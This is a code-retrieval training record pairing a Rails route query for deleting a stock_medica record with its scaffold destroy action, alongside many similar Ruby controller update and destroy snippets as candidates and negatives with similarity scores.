"def update\n @stock_transaction = StockTransaction.find(params[:id])\n\n respond_to do |format|\n if @stock_transaction.update_attributes(params[:stock_transaction])\n format.html { redirect_to stock_transactions_path, notice: 'Stock transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_attachment.update(stock_attachment_params)\n format.html { redirect_to @stock_attachment, notice: 'Stock attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_attachment }\n else\n format.html { render :edit }\n format.json { render json: @stock_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @favorite_stock.update(favorite_stock_params)\n format.html { redirect_to @favorite_stock, notice: 'Favorite stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_stock }\n else\n format.html { render :edit }\n format.json { render json: @favorite_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @forecast_msize = ForecastMsize.find(params[:id])\n\n respond_to do |format|\n if @forecast_msize.update_attributes(params[:forecast_msize])\n format.html { redirect_to [:admin,@forecast_msize], notice: 'Forecast msize was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @forecast_msize.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @makrana_marble.update(makrana_marble_params)\n format.html { redirect_to @makrana_marble, notice: 'Marble product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @makrana_marble.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @volume_metadatum = VolumeMetadatum.find(params[:id])\n\n respond_to do |format|\n if @volume_metadatum.update_attributes(params[:volume_metadatum])\n format.html { redirect_to @volume_metadatum, notice: 'Volume metadatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volume_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n nueva_cantidad = compra_params[:cantidad].to_i\n\n respond_to do |format|\n if @compra.edit_stock(nueva_cantidad) && @compra.update(compra_params)\n format.html { redirect_to @compra, notice: 'Compra was successfully updated.' }\n format.json { render :show, status: :ok, location: @compra }\n else\n format.html { render :edit }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @paperstock.update(paperstock_params)\n format.html { redirect_to @paperstock, notice: 'Paperstock was successfully updated.' }\n format.json { render :show, status: :ok, location: @paperstock }\n else\n format.html { render :edit }\n format.json { render json: @paperstock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_interval.update(stock_interval_params)\n format.html { redirect_to @stock_interval, notice: 'Stock interval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock_interval.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quatum.update(quatum_params)\n format.html { redirect_to @quatum, notice: 'Quatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @monthly_finance = MonthlyFinance.find(params[:id])\n respond_to do |format|\n if @monthly_finance.update_attributes(params[:monthly_finance])\n format.html { redirect_to @monthly_finance, notice: 'Monthly finance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monthly_finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock_gabarra = StockGabarra.find(params[:id])\n\n respond_to do |format|\n if @stock_gabarra.update_attributes(params[:stock_gabarra])\n flash[:notice] = 'StockGabarra was successfully updated.'\n format.html { redirect_to(@stock_gabarra) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stock_gabarra.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n unchangedJobPart=JobPart.find(@job_part.id)\n quantity=unchangedJobPart.quantity\n if @job_part.update(job_part_params)\n updateStock(@job_part,quantity)\n format.html { redirect_to @job_part, notice: 'Job part was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_part }\n else\n format.html { render :edit }\n format.json { render json: @job_part.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:symbol])\n binding.pry\n respond_to do |format|\n if @stock.update_attributes(params[:currentPrice])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :ok }\n else\n if @stock.update_attributes(params[:openingPrice])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :ok }\n else\n if @stock.update_attributes(params[:closingPrice])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @currentmedical.update(currentmedical_params)\n format.html { redirect_to @currentmedical, notice: 'Currentmedical was successfully updated.' }\n format.json { render :show, status: :ok, location: @currentmedical }\n else\n format.html { render :edit }\n format.json { render json: @currentmedical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @series = Series.find(params[:id])\n\n respond_to do |format|\n if @series.update_attributes(params[:series])\n format.html { redirect_to @series, notice: 'Series se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sm_volume = SmVolume.find(params[:id])\n\n respond_to do |format|\n if @sm_volume.update_attributes(params[:sm_volume])\n format.html { redirect_to @sm_volume, notice: 'Sm volume was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sm_volume.errors, status: :unprocessable_entity }\n end\n end\n end",
"def stock_params\n params.require(:stock).permit(:medId, :quantity, :price)\n end",
"def update\n respond_to do |format|\n if @medicine.update(medicine_params)\n if !@medicine.quantity.nil? && @medicine.quantity>0\n @medicine.availability = true\n else\n @medicine.availability = false\n end\n @medicine.save!\n\n flash[:notice] = 'Medicine was successfully updated.'\n format.html { redirect_to action: \"index\"}\n format.json { render :show, status: :ok, location: @medicine }\n else\n format.html { render :edit }\n format.json { render json: @medicine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_stock_medica\n @stock_medica = StockMedica.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @mata_matum.update(mata_matum_params)\n format.html { redirect_to @mata_matum, notice: 'Mata matum was successfully updated.' }\n format.json { render :show, status: :ok, location: @mata_matum }\n else\n format.html { render :edit }\n format.json { render json: @mata_matum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stoc.update(stoc_params)\n\n @pzas = (@stoc.producto.productosxpza.PzaXCja * (params[:f_cajas]).to_f) + (params[:f_piezas]).to_f # .to_f para pasar los parametros de string a integer\n @stoc.update(Stock:@pzas)\n\n format.html { redirect_to @stoc, notice: 'Stoc was successfully updated.' }\n format.json { render :show, status: :ok, location: @stoc }\n format.js {flash.now[:notice] = 'El stock se ha actualizado de forma exitosa.'} #ajax\n else\n format.html { render :edit }\n format.json { render json: @stoc.errors, status: :unprocessable_entity }\n format.js {flash.now[:alert] = 'Error al actualizar el stock.'} #ajax\n end\n end\n end",
"def update\n respond_to do |format|\n if @stocking_product.update(stocking_product_params)\n format.html { redirect_to @stocking_product, notice: 'Stocking product was successfully updated.' }\n format.json { render :show, status: :ok, location: @stocking_product }\n else\n format.html { render :edit }\n format.json { render json: @stocking_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booksmarks = Booksmark.all.order(updated_at: :desc)\n respond_to do |format|\n if @booksmark.update(booksmark_params)\n format.js {render nothing: true} \n format.html { redirect_to @booksmark, notice: \"Booksmark was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booksmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @maquinat.update(maquinat_params)\n format.html { redirect_to @maquinat, notice: 'Maquinat was successfully updated.' }\n format.json { render :show, status: :ok, location: @maquinat }\n else\n format.html { render :edit }\n format.json { render json: @maquinat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n if @metum.update_attributes(params[:metum])\n format.html { redirect_to @metum, notice: 'Metum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n megam_rest.update_quotas(to_hash)\n end",
"def update\n respond_to do |format|\n if @series.update(series_params)\n format.html { redirect_to @series, notice: \"La mêlée du #{Series.date} a été modifiée.\" }\n # format.json { render :show, status: :ok, location: @series }\n else\n format.html { render :edit, status: :unprocessable_entity }\n # format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @idea = Idea.find(params[:id])\n stock = Stock.find(params[:stock_id])\n @idea.stock = stock\n \n respond_to do |format|\n if @idea.update_attributes(params[:idea])\n format.html { redirect_to(@idea, :notice => 'Idea was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @idea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @metum.update(metum_params)\n format.html { redirect_to @metum, notice: 'Metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @medicine = Medicine.find(params[:id])\n debugger\n respond_to do |format|\n if (params[:medicine])\n medicine = params[:medicine]\n else\n # debugger\n medicine = {:name => params[:name], :specificDays => params[:specificDays], \n :canceledNotificationDate => params[:canceledNotificationDate], \n :daysOffset => params[:daysOffset],\n :isSpecificDays => params[:isSpecificDays], :secondHour => params[:secondHour],\n :daysOffsetStartDate => params[:daysOffsetStartDate], \n :firstHour => params[:firstHour]}\n end\n if @medicine.update_attributes(medicine)#params[:medicine])\n result = { \"opcode\" => 102, \"response\" => 200, \"medicine\" => @medicine }\n format.html { redirect_to @medicine, notice: 'Medicine was successfully updated.' }\n format.json { render json: result, status: :created, location: result }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medicine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_metum.update(test_metum_params)\n format.html { redirect_to @test_metum, notice: 'Test metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @medical.update(medical_params)\n format.html { redirect_to @medical, notice: 'Medical was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @medical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n #在庫マスターのIDをセットする\n update_flag = 1\n\tset_inventories_id\n \n respond_to do |format|\n if @stocktake.update(stocktake_params)\n format.html { redirect_to @stocktake, notice: 'Stocktake was successfully updated.' }\n format.json { render :show, status: :ok, location: @stocktake }\n else\n format.html { render :edit }\n format.json { render json: @stocktake.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @medico.update(medico_params)\n format.html { redirect_to @medico, notice: \"Medico atualizado com SUCESSO.\" }\n format.json { render :show, status: :ok, location: @medico }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @medico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @series = Series.find(params[:id])\n\n respond_to do |format|\n if @series.update_attributes(params[:series])\n format.html { redirect_to @series, notice: 'Series was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @price_medicine.update(price_medicine_params)\n format.html { redirect_to admin_price_medicines_path, notice: 'Price medicine was successfully updated.' }\n format.json { render :show, status: :ok, location: @price_medicine }\n else\n format.html { render :edit }\n format.json { render json: @price_medicine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @business_metum.update(business_metum_params)\n format.html { redirect_to @business_metum, notice: 'Business metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @business_metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_stock_book.update(product_stock_book_params)\n format.html { redirect_to @product_stock_book, notice: 'Product stock book was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_stock_book }\n else\n format.html { render :edit }\n format.json { render json: @product_stock_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chemical.update(chemical_params)\n format.html { redirect_to @chemical, notice: 'Chemical was successfully updated.' }\n format.json { render :show, status: :ok, location: @chemical }\n else\n format.html { render :edit }\n format.json { render json: @chemical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_collection.update(stock_collection_params)\n format.html { redirect_to @stock_collection, notice: 'Stock collection was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_collection }\n else\n format.html { render :edit }\n format.json { render json: @stock_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @medicamento = Medicamento.find(params[:id])\n\n respond_to do |format|\n if @medicamento.update_attributes(params[:medicamento])\n format.html { redirect_to @medicamento, notice: 'Medicamento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medicamento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @series.update(series_params)\n format.html { redirect_to @series, notice: 'Series was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6946556",
"0.67807496",
"0.67807496",
"0.67807496",
"0.67689514",
"0.6759047",
"0.6759047",
"0.67585766",
"0.67543346",
"0.6736714",
"0.6713804",
"0.6711271",
"0.670289",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6688767",
"0.6681653",
"0.66155535",
"0.65216476",
"0.64825374",
"0.64460146",
"0.6433424",
"0.64224756",
"0.63839513",
"0.6372688",
"0.6347951",
"0.6347926",
"0.6345042",
"0.6343498",
"0.633698",
"0.63300014",
"0.6293359",
"0.62929344",
"0.6289765",
"0.6263467",
"0.6248603",
"0.6245602",
"0.62414765",
"0.62414765",
"0.6240915",
"0.6237132",
"0.6224187",
"0.6220501",
"0.6211873",
"0.62078255",
"0.6186299",
"0.6178128",
"0.61740035",
"0.61677486",
"0.6163246",
"0.61593163",
"0.61519563",
"0.6148812",
"0.6142596",
"0.61394894",
"0.6132111",
"0.6103708",
"0.610331",
"0.60737455",
"0.6071125",
"0.60662246",
"0.6062781",
"0.6046775",
"0.60415584",
"0.60386235",
"0.6023269",
"0.60228395",
"0.6022531",
"0.6018363",
"0.601291",
"0.6001487",
"0.60004205",
"0.5991309",
"0.59823626",
"0.5982195",
"0.5980403",
"0.5976755",
"0.5974282",
"0.5974137",
"0.59702265",
"0.5968938",
"0.596055",
"0.5948872",
"0.5947924",
"0.594507",
"0.5927997",
"0.5917402",
"0.59169036",
"0.59168327",
"0.5915594",
"0.59079945",
"0.59062564"
] | 0.7168848 | 0 |
DELETE /stock_medicas/1 DELETE /stock_medicas/1.json | def destroy
@stock_medica.destroy
respond_to do |format|
format.html { redirect_to stock_medicas_url, notice: 'Stock medica was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find( params[:id] )\n @stock.delete_status = 1\n @stock.save\n #@stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_edit_all_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sp500_stock = Sp500Stock.find(params[:id])\n @sp500_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to sp500_stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @total_stock = TotalStock.find(params[:id])\n @total_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to total_stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully deleted from watchlist.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset_stock.destroy\n respond_to do |format|\n format.html { redirect_to asset_stocks_url, notice: 'Asset stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addstock.destroy\n respond_to do |format|\n format.html { redirect_to addstocks_url, notice: 'Addstock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uniform_stock_received.destroy\n respond_to do |format|\n format.html { redirect_to uniform_stock_receiveds_url, notice: (t 'uniform_stock_receiveds.title')+(t 'actions.removed') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchased_stock = PurchasedStock.find(params[:id])\n @purchased_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to purchased_stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchased_stock = PurchasedStock.find(params[:id])\n @purchased_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to purchased_stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_resource = StockResource.find(params[:id])\n @stock_resource.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_resources_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @incomestock = Incomestock.find(params[:id])\n @incomestock.destroy\n\n respond_to do |format|\n format.html { redirect_to incomestocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medical.destroy\n respond_to do |format|\n format.html { redirect_to vigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @core_stock_product.destroy\n # respond_to do |format|\n # format.html { redirect_to core_stock_products_url }\n # format.json { head :no_content }\n # end\n end",
"def destroy\n @quatum.destroy\n respond_to do |format|\n format.html { redirect_to quata_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_entry = StockEntry.find(params[:id])\n @stock_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mystic.destroy\n respond_to do |format|\n format.html { redirect_to mystics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @model_stock.destroy\n respond_to do |format|\n format.html { redirect_to model_stocks_url, notice: t('common.message.destroyed_success')}\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_type = StockType.find(params[:id])\n @stock_type.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to(stocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @stock = Stock.find(params[:id])\n @stock.destroy\n\n respond_to do |format|\n format.html { redirect_to(stocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @stoc.destroy\n respond_to do |format|\n format.html { redirect_to stock_url, notice: 'Stoc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @atp_stock.destroy\n respond_to do |format|\n format.html { redirect_to atp_stocks_url, notice: 'Atp stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mdistantmetastasi.destroy\n respond_to do |format|\n format.html { redirect_to mdistantmetastasis_url, notice: 'Mdistantmetastasi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_stock = ProductStock.find(params[:id])\n @product_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to product_stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_product.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mystock.destroy\n respond_to do |format|\n format.html { redirect_to mystocks_path, notice: 'mystock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mata_matum.destroy\n respond_to do |format|\n format.html { redirect_to mata_mata_url, notice: 'Mata matum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_stock = ProductStock.find(params[:id])\n @product_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to product_stocks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @goods_stock = GoodsStock.find(params[:id])\n @goods_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to goods_stocks_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @aliquotum = Aliquotum.find(params[:id])\n @aliquotum.destroy\n\n respond_to do |format|\n format.html { redirect_to aliquota_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_transaction = StockTransaction.find(params[:id])\n @stock_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_transactions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company_inventory_stock.destroy\n respond_to do |format|\n format.html { redirect_to company_inventory_stocks_url, notice: 'Company inventory stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_sample_stock.destroy\n respond_to do |format|\n format.html { redirect_to product_sample_stocks_url, notice: 'Product sample stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset_stock_status.destroy\n respond_to do |format|\n format.html { redirect_to asset_stock_statuses_url, notice: 'Asset stock status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metum = Metum.find(params[:id])\n @metum.destroy\n\n respond_to do |format|\n format.html { redirect_to meta_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @stockstatus.destroy\n respond_to do |format|\n format.html { redirect_to stockstatuses_url, notice: 'Stockstatus was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stadium.destroy\n respond_to do |format|\n format.html { redirect_to stadia_url, notice: 'Stadium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medalha.destroy\n respond_to do |format|\n format.html { redirect_to medalhas_url, notice: 'Medalha was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stadium.destroy\n respond_to do |format|\n format.html { redirect_to admin_stadiums_url, notice: 'Stadium успешно удален(о).' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @regular_chemical.destroy\n respond_to do |format|\n format.html { redirect_to regular_chemicals_url, notice: 'Regular chemical was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @medical_history.destroy\r\n respond_to do |format|\r\n format.html { redirect_to medical_histories_url, notice: 'Historial Medico eliminado.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_transfer = StockTransfer.find(params[:id])\n @stock_transfer.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_transfers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_option.destroy\n respond_to do |format|\n format.html { redirect_to stock_options_url, notice: 'Stock option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_gabarra = StockGabarra.find(params[:id])\n @stock_gabarra.destroy\n\n respond_to do |format|\n format.html { redirect_to(stock_gabarras_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @stock_attachment.destroy\n respond_to do |format|\n format.html { redirect_to stock_attachments_url, notice: 'Stock attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto_stock = ProductoStock.find(params[:id])\n @producto_stock.destroy\n\n respond_to do |format|\n format.html { redirect_to(producto_stocks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @stock_interval.destroy\n respond_to do |format|\n format.html { redirect_to stock_intervals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @minisound.destroy\n respond_to do |format|\n format.html { redirect_to minisounds_url, notice: 'Minisound was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medhistory = Medhistory.find(params[:id])\n @medhistory.destroy\n\n respond_to do |format|\n format.html { redirect_to medhistories_url }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @medical_history.destroy\r\n respond_to do |format|\r\n format.html { redirect_to medical_histories_url, notice: 'Historial medico borrado con exito.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @feedstock = Feedstock.find(params[:id])\n @feedstock.destroy\n\n respond_to do |format|\n format.html { redirect_to feedstocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_price = StockPrice.find(params[:id])\n @stock_price.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_prices_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @midia.destroy\n\n respond_to do |format|\n format.html { redirect_to midias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chemical.destroy\n respond_to do |format|\n format.html { redirect_to chemicals_url, notice: 'Chemical was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stockist = Stockist.find(params[:id])\n @stockist.destroy\n\n respond_to do |format|\n format.html { redirect_to(stockists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @medzz = Medzz.find(params[:id])\n @medzz.destroy\n\n respond_to do |format|\n format.html { redirect_to medzzs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bloodstock.destroy\n respond_to do |format|\n format.html { redirect_to bloodstocks_url, notice: 'Blood stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stocktake.destroy\n respond_to do |format|\n format.html { redirect_to stocktakes_url, notice: 'Stocktake was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medicine_check.destroy\n respond_to do |format|\n format.html { redirect_to medicine_checks_url, notice: 'Medicine check was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @favorite_stock.destroy\n respond_to do |format|\n format.html { redirect_to favorite_stocks_url, notice: 'Favorite stock was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_audit = StockAudit.new\n @stock_audit.user = current_user\n @stock_audit.stock = @stock\n @stock_audit.comment = \"destroyed stock unit with an ID of #{@stock.id}\"\n @stock_audit.save\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
